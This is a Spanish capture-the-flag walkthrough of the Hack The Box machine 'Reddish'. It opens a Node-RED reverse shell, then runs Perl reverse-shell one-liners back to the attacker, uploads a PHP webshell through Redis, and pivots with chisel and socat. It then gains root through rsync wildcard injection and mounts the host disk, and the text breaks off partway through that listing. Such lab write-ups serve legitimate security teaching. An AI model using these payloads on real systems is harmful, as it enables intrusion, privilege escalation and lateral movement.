Maquina Retirada Reddish de Hack The Box (Necesario VIP)
Reddish ~ Pivoting ~ Hack The Box
Realizamos el Primer escaneo con Nmap
$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.94 "
Procedemos con el siguiente escaneo de Nmap
PORT STATE SERVICE VERSION
1880/tcp open http Node.js Express framework
|_http-title: Error
Probamos a hechar un vistazo a la web y vemos que nos pone lo siguiente:
Can not GET.
Procedemos a usar el comando curl
para hacer una peticion por el metodo POST
# curl -X POST "http://10.10.10.94:1880"
{"id":"889671fb6a1a1ce0a10677b25be4eef8","ip":"::ffff:10.10.14.12","path":"/red/{id}"}
Hacemos lo que nos indica:
Usamos Firefox para de nuevo chequear a donde nos lleva la ruta que nos indican -> http://10.10.10.94:1880/red/889671fb6a1a1ce0a10677b25be4eef8
Node-RED
Nos abre una session de Node-Red - Que es Node-RED? https://gruposinelec.com/que-es-node-red-y-para-que-sirve/
"Node-RED" es una herramienta de "programación visual" que se implementa en dispositivos controladores de hardware. Trabaja mostrando de manera visual las relaciones y funciones de manera que se pueda programar sin escribir.
Es un "panel de flow al que se pueden incorporar nodos que se comuniquen entre ellos" y puede instalarse en equipos como ordenadores Windows, Linux, o en servidores en la nube.
Procedemos a buscar por INPUT
& OUTPUT
, y selecionamos respectivamente para los dos, los nodos TCP
/INPUT & TCP
/OUTPUT.
- El siguiente paso seria buscar por la funcion
EXEC
colocandola entre los dos nodosTCP output & TCP input
Procedemos a conetar los nodos de la siguiente formaTCP INPUT
~EXEC
~TCP OUTPUT
para que justo ahora procedamos a setear los valores en los nodosTCP INPUT Y OUTPUT
. ParaTCP_INPUT
: metemos nuestraIP
+PUERTO
y seleccionamos el valorTYPE
de la siguiente forma:CONNECT TO $PORT
&AT HOST $IP
ParaTCP_OUTPUT
: Seteamos simplemente el valorTYPE
enREPLAY TO TCP
Ganando Acceso al Node-RED
Nos ponemos a la escucha ya directamente con el comando nc -vlnp 443
preparados para activar el boton de DEPLOY
en el NODE-RED
(Boton en la parte superior Derecha)
# nc -vlnp 443 1 ⚙
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.94] 36216
whoami
root
Procedemos a enumerar a ver si la maquina tiene perl para lanzarnos una Reverse_shell
en condiciones ya que vemos que a esta no se le puede hacer un tratamiento de la tty
[object Object]which perl
/usr/bin/perl
Vemos que efectivamente dispone de perl
asique procedemos a enviarnos otra Reverse_shell
:
perl -e 'use Socket;$i="10.10.14.12";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
La Recibimos:
# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.94] 36230
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# script /dev/null -c bash
root@nodered:/node-red# ^Z
zsh: suspended nc -nlvp 443
# stty raw -echo; fg 148 ⨯ 1 ⚙
[1] + continued nc -nlvp 443
reset
reset: unknown terminal type unknown
Terminal type? xterm
root@nodered:/node-red# export TERM=xterm
root@nodered:/node-red# export SHELL=bash
root@nodered:/node-red# stty rows 50 columns 212
Listamos las Interfaces de Red Disponibles
root@nodered:/node-red# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
7: eth0@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
valid_lft forever preferred_lft forever
17: eth1@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:13:00:04 brd ff:ff:ff:ff:ff:ff
inet 172.19.0.4/16 brd 172.19.255.255 scope global eth1
valid_lft forever preferred_lft forever
root@nodered:/node-red#
Mapeado de RED
1.-Vemos que tenemos dos segmentos de Red:
Node_RED:
Interfaces
Segmento 1 - 172.18.0.2
Segmento 2 - 172.19.0.4
Procedemos a montarnos un Scrip en Bash
para listar los posibles Host
en los dos segmentos de red
encontrados.
#!/bin/bash
hosts=("172.18.0" "172.19.0")
for host in ${hosts[@]}; do
echo -e "\n[+]Enumerating $hosts.0/24\n"
for i in $(seq 1 254); do
timeout 1 bash -c "ping -c 1 $host.$i" &>/dev/null && echo "[*] Host: $host.$i ACTIVE [*]" &
done; wait
done
Ahora que ya lo tenemos construido en nuestra Maquina Kali, tenemos que pasarnolo a la maquina comprometida, y vemos que que la maquina Node-RED
viene bastante pelada de commandos a poder ejecutar.. asique la mejor forma de proceder es en codificar
el scrip en Base64
para posteriormente decodificarlo en la maquina Node-RED ya que si cuenta con
Base64`.
- Codificandolo
# base64 -w 0 hostsD.sh
IyEvYmluL2Jhc2gKCmhvc3RzPSgiMTcyLjE4LjAiICIxNzIuMTkuMCIpCgpmb3IgaG9zdCBpbiAke2hvc3RzW0BdfTsgZG8KCWVjaG8gLWUgIlxuWytdRW51bWVyYXRpbmcgJGhvc3RzLjAvMjRcbiIKCWZvciBpIGluICQoc2VxIDEgMjU0KTsgZG8KCQl0aW1lb3V0IDEgYmFzaCAtYyAicGluZyAtYyAxICRob3N0LiRpIiAmPi9kZXYvbnVsbCAmJiBlY2hvICJbKl0gSG9zdDogJGhvc3QuJGkgQUNUSVZFIFsqXSIgJgoJZG9uZTsgd2FpdApkb25lCg==
- Decodificandolo en la Maquina Victima
root@nodered:/node-red# echo "IyEvYmluL2Jhc2gKCmhvc3RzPSgiMTcyLjE4LjAiICIxNzIuMTkuMCIpCgpmb3IgaG9zdCBpbiAke2hvc3RzW0BdfTsgZG8KCWVjaG8gLWUgIlxuWytdRW51bWVyYXRpbmcgJGhvc3RzLjAvMjRcbiIKCWZvciBpIGluICQoc2VxIDEgMjU0KTsgZG8KCQl0aW1lb3V0IDEgYmFzaCAtYyAicGluZyAtYyAxICRob3N0LiRpIiAmPi9kZXYvbnVsbCAmJiBlY2hvICJbKl0gSG9zdDogJGhvc3QuJGkgQUNUSVZFIFsqXSIgJgoJZG9uZTsgd2FpdApkb25lCg==" | base64 -d > hostD.sh
Lo comprobamos con un cat
y probamos a ejecutarlo tras darle privilegios con chmod +x hostD.sh
:
root@nodered:/node-red# ./hostD.sh
[+]Enumerating 172.18.0.0/24
[*] Host: 172.18.0.2 ACTIVE [*]
[*] Host: 172.18.0.1 ACTIVE [*]
[+]Enumerating 172.18.0.0/24
[*] Host: 172.19.0.4 ACTIVE [*]
[*] Host: 172.19.0.3 ACTIVE [*]
[*] Host: 172.19.0.2 ACTIVE [*]
[*] Host: 172.19.0.1 ACTIVE [*]
Volvemos al mapeado de Red
# Mapeado de RED 2 Vemos que tenemos dos segmentos de Red:
Node_RED:
Interfaces
Segmento 1 - 172.18.0.2
Segmento 2 - 172.19.0.4
Siguientes Nuevos Hosts:
Interfaces
Segmento 1 - 172.18.0.1
Segmento 2 - 172.19.0.1 - 172.19.0.2 - 172.19.0.3
Vamos a proceder a modificar nuestro Script en Bash
# cat HostsPortsD.sh
#!/bin/bash
hosts=("172.18.0.1" "172.19.0.1" "172.19.0.2" "172.19.0.3")
for host in ${hosts[@]}; do
echo -e "\n[+]Scanning ports in $host\n"
for port in $(seq 1 10000); do
timeout 1 bash -c "echo '' > /dev/tcp/$host/$port" 2> /dev/null && echo -e "\t[*] Puerto: $port - ABIERTO [*]" &
done; wait
done
Hacemos el mismo procedimiento para este script y lo codificamos en base64 igual que antes
- Coding en base64
# base64 -w 0 HostsPortsD.sh
IyEvYmluL2Jhc2gKCmhvc3RzPSgiMTcyLjE4LjAuMSIgIjE3Mi4xOS4wLjEiICIxNzIuMTkuMC4yIiAiMTcyLjE5LjAuMyIpCgpmb3IgaG9zdCBpbiAke2hvc3RzW0BdfTsgZG8KICAgICAgICBlY2hvIC1lICJcblsrXVNjYW5uaW5nIHBvcnRzIGluICRob3N0XG4iCiAgICAgICAgZm9yIHBvcnQgaW4gJChzZXEgMSAxMDAwMCk7IGRvCiAgICAgICAgICAgICAgICB0aW1lb3V0IDEgYmFzaCAtYyAiZWNobyAnJyA+IC9kZXYvdGNwLyRob3N0LyRwb3J0IiAyPiAvZGV2L251bGwgJiYgZWNobyAtZSAiXHRbKl0gUHVlcnRvOiAkcG9ydCAtIEFCSUVSVE8gWypdIiAmCiAgICAgICAgZG9uZTsgd2FpdApkb25lCg==
- Decoding en base64
root@nodered:/node-red# echo "IyEvYmluL2Jhc2gKCmhvc3RzPSgiMTcyLjE4LjAuMSIgIjE3Mi4xOS4wLjEiICIxNzIuMTkuMC4yIiAiMTcyLjE5LjAuMyIpCgpmb3IgaG9zdCBpbiAke2hvc3RzW0BdfTsgZG8KICAgICAgICBlY2hvIC1lICJcblsrXVNjYW5uaW5nIHBvcnRzIGluICRob3N0XG4iCiAgICAgICAgZm9yIHBvcnQgaW4gJChzZXEgMSAxMDAwMCk7IGRvCiAgICAgICAgICAgICAgICB0aW1lb3V0IDEgYmFzaCAtYyAiZWNobyAnJyA+IC9kZXYvdGNwLyRob3N0LyRwb3J0IiAyPiAvZGV2L251bGwgJiYgZWNobyAtZSAiXHRbKl0gUHVlcnRvOiAkcG9ydCAtIEFCSUVSVE8gWypdIiAmCiAgICAgICAgZG9uZTsgd2FpdApkb25lCg==" | base64 -d > hostPortsD.sh
Lo Ejecutamos en la maquina Victima Node-RED
root@nodered:/node-red# ./hostPortsD.sh
[+]Scanning ports in 172.18.0.1 --------------- esta no tiene sentido ya que si es un docker muy probablemte por eso tenga el mismo puerto abierto
[*] Puerto: 1880 - ABIERTO [*]
[+]Scanning ports in 172.19.0.1 ---------------- nada
[+]Scanning ports in 172.19.0.2 ---------------- puerto 80 abierto
[*] Puerto: 80 - ABIERTO [*]
[+]Scanning ports in 172.19.0.3 ---------------- puerto 6379 abierto
[*] Puerto: 6379 - ABIERTO [*]
Chisel ~ PortForwarding
- Uso de
Chisel
para tunelizar los puertos de esos dos Host en nuestra maquinakali
comolocalhost: 127.0.0.1
- Hacemos un
Git Clone
a este repositoriohttps://github.com/jpillora/chisel
Como nos compartimos el Chisel
?
Procedemos a hacer lo siguiente para compartirnoslo con NETCAT
# nc -nlvp 444 < chisel
listening on [any] 444 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.94] 34176
# Comprobacion
# md5sum chisel
30746509fdce4adf32a5cd4e30a13327 chisel
En la maquina Noder-RED:
root@nodered:/node-red# cat > chisel < /dev/tcp/10.10.14.12/444
root@nodered:/node-red# md5sum chisel
30746509fdce4adf32a5cd4e30a13327 chisel
El Archivo se a pasado correctamente asique procedemos a darle permisos de Ejecucion para Posteriormente montarme un reverse server
con chisel
para tunelizar los puertos que desde la Maquina Node-RED
si que llegamos a nuestro Kali Atacante
atraves de la maquina Node-RED
- En nuestro Kali - Uso de
chisel
:# ./chisel server --reverse -p 1234 1 ⚙ 2021/06/15 11:02:34 server: Reverse tunnelling enabled 2021/06/15 11:02:34 server: Fingerprint ZTFw97tFy2QFC630TVcPZtloK/mbIKPVzvRsz8Usaxw= 2021/06/15 11:02:34 server: Listening on http://0.0.0.0:1234 2021/06/15 11:06:56 server: session#1: tun: proxy#R:127.0.0.1:80=>172.18.0.1:80: Listening 2021/06/15 11:06:56 server: session#1: tun: proxy#R:127.0.0.1:6379=>172.18.0.1:6379: Listening
- En la maquina
Node-RED
uso dechisel
:root@nodered:/tmp# ./chisel client 10.10.14.12:1234 R:127.0.0.1:80:172.19.0.2:80 R:127.0.0.1:6379:172.19.0.3:6379 2021/06/15 09:06:54 client: Connecting to ws://10.10.14.12:1234 2021/06/15 09:06:55 client: Connected (Latency 41.53419ms)
Uso de Nmap a nivel local
Ahora que ya tenemos accesibles los puertos con el
Remote PortForwarding
hacemos un scaneo con nmap sobre estos puertos pàra ver la Version y Servicios a nivel de localhost ```bashnmap -sC -sV -p80,6379 127.0.0.1 130 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-15 11:41 CEST Nmap scan report for localhost (127.0.0.1) Host is up (0.000026s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-server-header: Apache/2.4.10 (Debian) |_http-title: Reddish 6379/tcp open redis Redis key-value store 4.0.9
# Acceso a la siguiente host
- Vemos que el output de nmap nos devuelve un Servicio llamado `Redis` y su Version `4.0.9`
Una vez llegados a este punto procedemos a usar la herramienta `SEARCHSPLOIT` para buscar posibles exploits potenciales para `Redis`
```bash
# searchsploit redis
--------------------------------------------------------------------------------------------------------------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------
Redis - Replication Code Execution (Metasploit) | linux/remote/48272.rb
Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit) | linux/remote/47195.rb
Redis 5.0 - Denial of Service | linux/dos/44908.txt
Redis-cli < 5.0 - Buffer Overflow (PoC) | linux/local/44904.py
------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Vemos que nos sale un recurso que pone que es para Metasploit, asique nanai vamos a probar a buscar a nivel google
redis remote command execution
https://packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html
Vale pues procedemos a mirar el puerto 80 del host 172.19.0.2 en nuestro localhost por el puerto 80 Vemos una web que nos pone un FORBBIDEN Probamos a ver el codigo fuente de la pagina y vemos que nos sale dos rutas potenciales,
!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
html xmlns="http://www.w3.org/1999/xhtml">
head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>Reddish</title>
<script src="assets/jquery.js" type="text/javascript"></script>
<script type="text/javascript">
$(document).ready(function () {
incrCounter();
getData();
});
function getData() {
$.ajax({
url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=get hits",
cache: false,
dataType: "text",
success: function (data) {
console.log("Number of hits:", data)
},
error: function () {
}
});
}
function incrCounter() {
$.ajax({
url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=incr hits",
cache: false,
dataType: "text",
success: function (data) {
console.log("HITS incremented:", data);
},
error: function () {
}
});
}
Procedemos a buscar la ruta quitando lo de ajax.php...
Vamos a usar la ruta 2
suponiendo que se encuentra a nivel del servidor en la ruta /var/www/html/8924d0549008565c554f8128cd11fda4
Nos creamos un Scrip para pwn_redis-cli.sh
y subir una webshell en php a la ruta encontrada siguiendo los pasos de la web
para la Vuln de RCE de Redis
#!/bin/bash
redis-cli -h 127.0.0.1 flushall
cat pro4shell.php | redis-cli -h 127.0.0.1 -x set crackit
redis-cli -h 127.0.0.1 config set dir /var/www/html/8924d0549008565c554f8128cd11fda4/
redis-cli -h 127.0.0.1 config set dbfilename "pro4shell.php"
redis-cli -h 127.0.0.1 save
Ahora vermos que accediendo a la ruta http://localhost/8924d0549008565c554f8128cd11fda4/pro4shell.php
obtenemos nuestra webshell maliciosa subida correctamente,
y ejecutando comando como www-data
.
http://127.0.0.1/8924d0549008565c554f8128cd11fda4/pro4shell.php?cmd=ip%20a
1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
7: eth0@if8: mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:14:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.20.0.2/16 brd 172.20.255.255 scope global eth0
valid_lft forever preferred_lft forever
9: eth1@if10: mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.19.0.2/16 brd 172.19.255.255 scope global eth1
valid_lft forever preferred_lft forever,multicast,up,lower_up>,multicast,up,lower_up>,up,lower_up>
" Funciona!!!
Pero nos lo borran rapidamente asique toca montarse un script en bash que nos ejecute estos comandos para poder tener un rce constante conforme queramos
# ./pwn-redis-cli.sh
OK
OK
OK
OK
OK"
Mapeado de Red 3 + Uso de SOCAT
La maquina www-data
tiene conectividad con la maquina Node-RED
y nosotros con esta. Para poder hacernos llegar la Reverse_shell
vamos a tener que subir el binario de socat
que lo podemos descargar desde aqui https://github.com/aledbf/socat-static-binary/releases/tag/v0.0.1
Mapeado de Red:
Node_red:
{172.18.0.2} ./socat TCP-LISTEN:4545,fork tcp:10.10.14.12:8989
{172.19.0.4} [4545] puerto para ponerse a la escucha para recibir una conexion de la otra maquina -----------→ 10.10.14.12:8989 redireccionamiento a nuestra maquina
www-data/redis:
{172.19.0.2/16} [4545] peticion de conexion para que pase por el contenedor vulnerado y llegue a la maquina Nodered y de ahi a nosotros
{172.20.0.2/16}
Nuevos Hosts:
{172.20.0.3} Vemos que esta en un segmento distinto al que desde la maquina Node-RED no llegamos, pero si desde la maquina www-data/redis
{172.19.0.1}
Pues desde aqui, volvemos a usar una reverse_shell
en perl
pero la URL ENCODEAMOS
tal que quede asi:
No Encode
perl -e 'use Socket;$i="10.0.0.1";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Si URL Encode
perl%20-e%20%27use%20Socket%3B%24i%3D%2210.0.0.1%22%3B%24p%3D4545%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fsh%20-i%22%29%3B%7D%3B%27
Y obtenemos una conexion de la maquina www-data/redis
hacia la maquina Node-RED
pero que se nos envie con socat
a nuestra maquina atacante kali
gracias a la regla escrita con socat
.
El archivo socat
lo subimos a la maquina con nv -vlnp 444 < socat
y en la maquina Node-RED
procedemos a usar cat > socat < /dev/tcp/10.10.14.12
, chequeamos que se halla pasado correctamente con un md5sum socat
en los dos equipos.
Escalada de Privilegios para conseguir el user.txt
Enumeramos la maquina victima
www-data@www:/home$ find . -name user.txt -type f 2>/dev/null | xargs ls -l
-r-------- 1 1000 1000 33 Apr 23 2018 ./somaro/user.txt
Vemos que tenemos que convertirnos como Somaro
Enumeramos SUID ~ nada Enumeramos tareas Cron ~ Encontramos una Tarea Cron
www-data@www:/$ ls -l /var/spool/cron/crontabs/
ls: cannot open directory /var/spool/cron/crontabs/: Permission denied
-------------------------------
cat /etc/crontab nadaa
ls -l /etc/cron.d/
total 4
-rw-r--r-- 1 root root 38 May 4 2018 backup
-------------------- SIP --------------------
Aqui tenemos algo : BACKUP
www-data@www:/backup$ cat backup.sh
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
Procedemos a hacer lo siguiente:
Nos creamos un script llamado test.rdb
que va a ser ejecutado por root
pero necesitamos meterle
el parametro -e
al comando rsync
para que nos ejecute
el archivo test.rdb
con bash por eso hemos tenido que crear un segundo archivo en cuestion:
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b/
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ touch -- '-e sh test.rdb'
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ echo 'chmod u+s /bin/bash' > test.rdb
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ ls -l
total 4
-rw-r--r-- 1 www-data www-data 0 Jun 15 13:47 -e sh test.rdb
-rw-r--r-- 1 www-data www-data 20 Jun 15 13:47 test.rdb
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$
Chequeamos a ver si la tarea Cron detectada (3min) nos ejecuta este script test.rdb y con un simple bash -p ya seriamos root
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1029624 Nov 5 2016 /bin/bash
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ bash -p
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
bash-4.3# whoami
root
--------- Pillamos la flag del User.txt ------------
bash-4.3# cd home/somaro/
bash-4.3# cat user.txt
c09aca7cb02c968b1e9637d51xxxxxxxxxxx
Vemos si encontramos alguna flag de root.txt
pero no hay nada, asiquie seguimos enumerando la maquina y nos fijamos otra vez en el script de BACKUP
Aqui tenemos algo : BACKUP:873/src/backup?????
www-data@www:/backup$ cat backup.sh
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
Explotacion del siguiente host atraves del comando rsync
Ya que Vemos la /
de archivos nosotros con el comando rsync
podemos subir archivos con el parametro -a
Atraves de el binario rsync
con dos archivos que nos vamos a crear!!
1.- Llamdo ‘-e sh test.rdb’
y otro ‘test.rdb’
con el que le mandamos que nos haga chmod +us /bin/bash
Dado que en el directorio en el que metemos los archivos tiene a root con una tarea cron ejecutando todos los archivos que acaben con extension rdb
Nos fijamos en lo siguiente
bash-4.3# cat backup.sh
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
Hamos un PING a BACKUP ya que vemos que se llama con el comando rsync
bash-4.3# ping backup
PING backup (172.20.0.3) 56(84) bytes of data.
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.3): icmp_seq=1 ttl=64 time=0.094 ms
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.3): icmp_seq=2 ttl=64 time=0.066 ms
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.3): icmp_seq=3 ttl=64 time=0.069 ms
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.3): icmp_seq=4 ttl=64 time=0.076 ms
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.3): icmp_seq=5 ttl=64 time=0.092 ms
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.3): icmp_seq=6 ttl=64 time=0.083 ms
^C
--- backup ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5000ms
rtt min/avg/max/mdev = 0.066/0.080/0.094/0.010 ms
tenemos otro contenedor en la 172.20.0.3
Recibimos la conexion del siguiente host 172.20.0.3
Vamos a probar a usar el comando rysync
como indica a ver que sucede:
bash-4.3# rsync rsync://backup:873/src/rdb/ La RAIZ del contenedor de la ip 172.20.0.3??
drwxr-xr-x 4,096 2021/06/15 13:40:01 .
bash-4.3# rsync rsync://backup:873/src/
drwxr-xr-x 4,096 2018/07/15 17:42:39 .
-rwxr-xr-x 0 2018/05/04 21:01:30 .dockerenv
-rwxr-xr-x 100 2018/05/04 19:55:07 docker-entrypoint.sh
drwxr-xr-x 4,096 2018/07/15 17:42:41 backup
drwxr-xr-x 4,096 2018/07/15 17:42:39 bin
drwxr-xr-x 4,096 2018/07/15 17:42:38 boot
drwxr-xr-x 4,096 2018/07/15 17:42:39 data
drwxr-xr-x 3,640 2021/06/15 06:54:10 dev
drwxr-xr-x 4,096 2018/07/15 17:42:39 etc
drwxr-xr-x 4,096 2018/07/15 17:42:38 home
drwxr-xr-x 4,096 2018/07/15 17:42:39 lib
drwxr-xr-x 4,096 2018/07/15 17:42:38 lib64
drwxr-xr-x 4,096 2018/07/15 17:42:38 media
drwxr-xr-x 4,096 2018/07/15 17:42:38 mnt
drwxr-xr-x 4,096 2018/07/15 17:42:38 opt
dr-xr-xr-x 0 2021/06/15 06:54:10 proc
drwxr-xr-x 4,096 2021/06/15 13:40:01 rdb
drwx------ 4,096 2018/07/15 17:42:38 root
drwxr-xr-x 4,096 2021/06/15 06:54:11 run
drwxr-xr-x 4,096 2018/07/15 17:42:38 sbin
drwxr-xr-x 4,096 2018/07/15 17:42:38 srv
dr-xr-xr-x 0 2021/06/15 06:54:10 sys
drwxrwxrwt 4,096 2021/06/15 14:08:01 tmp
drwxr-xr-x 4,096 2018/07/15 17:42:39 usr
drwxr-xr-x 4,096 2018/07/15 17:42:39 var
bash-4.3#
Vale pues procedemos a hacer lo siguiente.
Debemos pasarnos el Binario de SOCAT
para poder ponernos a la escucha en la ultima maquina que hemos comprometido, y como la maquina anda pelada de todo pero tiene PERL
Vamos a intentar hacer como un wget
con perl
:
Creamos otra regla en la maquina Node-RED
con SOCAT
:
tiramos de SOCAT para ./socat TCP_LISTEN:6655,fork tcp:10.10.14.12:6666
Vamos a montarnos un servidor con python3 -m http.server 6666
para compartir el binario socat
a la maquina www-data/redis
desde nuestro kali
.
# python3 -m http.server 6666 1 ⚙
Serving HTTP on 0.0.0.0 port 6666 (http://0.0.0.0:6666/) ...
2021-07-01 12:54:42 VERIFY OK: depth=1, C=UK, ST=City, L=London, O=HackTheBox, CN=HackTheBox CA, name=htb, emailAddress=info@hackthebox.eu
2021-07-01 12:54:42 VERIFY KU OK
2021-07-01 12:54:42 Validating certificate extended key usage
2021-07-01 12:54:42 ++ Certificate has EKU (str) TLS Web Server Authentication, expects TLS Web Server Authentication
2021-07-01 12:54:42 VERIFY EKU OK
2021-07-01 12:54:42 VERIFY OK: depth=0, C=UK, ST=City, L=London, O=HackTheBox, CN=htb, name=htb, emailAddress=info@hackthebox.eu
2021-07-01 12:54:42 Outgoing Data Channel: Cipher 'AES-256-GCM' initialized with 256 bit key
2021-07-01 12:54:42 Incoming Data Channel: Cipher 'AES-256-GCM' initialized with 256 bit key
2021-07-01 12:54:42 Control Channel: TLSv1.2, cipher TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384, 2048 bit RSA
10.10.10.94 - - [01/Jul/2021 13:11:04] "GET /socat HTTP/1.1" 200 -
Ahora para pasarnos el archivo socat a la maquina www-data/redis (Hacemos como el wget pero con Perl)
:
En la Maquina WWW-data como www-data en /tmp/ : Ejecutamos este comando
perl -e 'use File::Fetch; my $url = "http://172.19.0.4:3322/socat"; my $ff= File::Fetch->new(uri=>$url); my $file = $ff->fetch() or die $ff->error;'
Para importarnos “SOCAT”
y asi poder saltar a la ultima maquina y enviarnos la R-shell
a nuestra maquina WWW-data
para recibir la conexion reversa con SOCAT
.
Nos ponemos a la escucha con Socat como si fuera un netcat
./socat TCP_LISTEN:9000 STDOUT
Recibimos la conexion hacemos un tratamiento de la tty como siempre y seguimos
Estamos en la ip 172.20.0.3
— host xxxx
Enumeramos las particiones del disco con el comando $df -h
root@backup:/home# df -h
Filesystem Size Used Avail Use% Mounted on
overlay 7.3G 3.5G 3.8G 49% /
tmpfs 64M 0 64M 0% /dev
tmpfs 1001M 0 1001M 0% /sys/fs/cgroup
/dev/sda2 7.3G 3.5G 3.8G 49% /backup
shm 64M 0 64M 0% /dev/shm
Creamos una montura para alojar la particion entera de backup encontrada
root@backup:/home# cd /mnt
root@backup:/mnt# mkdir test
root@backup:/mnt# mount /dev/sda2 /test
mount: mount point /test does not exist
root@backup:/mnt# cd ..
root@backup:/# mount /dev/sda2 /mnt/test
root@backup:/# cd !$
cd /mnt/test
# Aqui ya tenemos montada la particion del ultimo sistema o maquina en nuestra ip de 172.20.0.3 que acababamos de ganar acceso
root@backup:/mnt/test# ls
bin home lib64 opt sbin tmp vmlinuz.old
boot initrd.img lost+found proc snap usr
dev initrd.img.old media root srv var
etc lib mnt run sys vmlinuz
root@backup:/mnt/test# ls -la
total 116
drwxr-xr-x 23 root root 4096 Apr 9 12:09 .
drwxr-xr-x 1 root root 4096 Jul 1 11:38 ..
-rw------- 1 root root 48 Apr 9 12:09 .bash_history
drwxr-xr-x 2 root root 4096 Jul 16 2018 bin
drwxr-xr-x 2 root root 4096 Jul 15 2018 boot
drwxr-xr-x 4 root root 4096 Jul 15 2018 dev
drwxr-xr-x 98 root root 4096 Apr 9 11:59 etc
drwxr-xr-x 5 root root 4096 Apr 9 11:55 home
lrwxrwxrwx 1 root root 33 Jul 16 2018 initrd.img -> boot/initrd.img-4.4.0-130-generic
lrwxrwxrwx 1 root root 33 Apr 20 2018 initrd.img.old -> boot/initrd.img-4.4.0-119-generic
drwxr-xr-x 24 root root 4096 Apr 9 11:35 lib
drwxr-xr-x 2 root root 4096 Jul 15 2018 lib64
drwx------ 2 root root 16384 Apr 1 2018 lost+found
drwxr-xr-x 3 root root 4096 Jul 15 2018 media
drwxr-xr-x 2 root root 4096 Jul 15 2018 mnt
drwxr-xr-x 3 root root 4096 Jul 15 2018 opt
drwxr-xr-x 2 root root 4096 Jul 15 2018 proc
drwx------ 5 root root 4096 Jul 16 2018 root
drwxr-xr-x 2 root root 4096 Jul 15 2018 run
drwxr-xr-x 2 root root 12288 Apr 9 12:08 sbin
drwxr-xr-x 2 root root 4096 Jul 15 2018 snap
